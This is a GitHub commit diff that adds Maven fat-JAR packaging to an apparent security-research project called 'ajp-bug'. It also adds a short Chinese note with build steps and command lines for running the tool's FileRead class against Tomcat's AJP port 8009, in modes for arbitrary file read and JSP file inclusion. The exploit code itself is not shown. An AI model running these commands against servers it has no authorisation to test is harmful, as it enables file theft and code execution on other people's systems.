File tree Expand file tree Collapse file tree 4 files changed +33
-2
lines changed Expand file tree Collapse file tree 4 files changed +33
-2
lines changed Original file line number Diff line number Diff line change 144144 <target >8</target >
145145 </configuration >
146146 </plugin >
147+ <plugin >
148+ <groupId >org.apache.maven.plugins</groupId >
149+ <artifactId >maven-assembly-plugin</artifactId >
150+ <configuration >
151+ <archive >
152+ <manifest >
153+ <mainClass >com.threedr3am.learn.App</mainClass >
154+ </manifest >
155+ </archive >
156+ <descriptorRefs >
157+ <descriptorRef >jar-with-dependencies</descriptorRef >
158+ </descriptorRefs >
159+ <attach >false</attach >
160+ </configuration >
161+ <executions >
162+ <execution >
163+ <id >make-assembly</id >
164+ <phase >package</phase >
165+ <goals >
166+ <goal >single</goal >
167+ </goals >
168+ </execution >
169+ </executions >
170+ </plugin >
147171 </plugins >
148172 </build >
149173</project >
Original file line number Diff line number Diff line change 1+ 任意文件读取
2+ java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp
3+
4+ 文件包含
5+ java -jar ajp-bug-1.0-SNAPSHOT-jar-with-dependencies.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp
6+
7+ 打包方式:
8+ 在目录tomcat/ajp-bug
9+ 执行 mvn clean compile assembly:assembly
Original file line number Diff line number Diff line change 1010 <modelVersion >4.0.0</modelVersion >
1111
1212 <artifactId >ajp-bug</artifactId >
13-
14-
1513</project >
You can’t perform that action at this time.
0 commit comments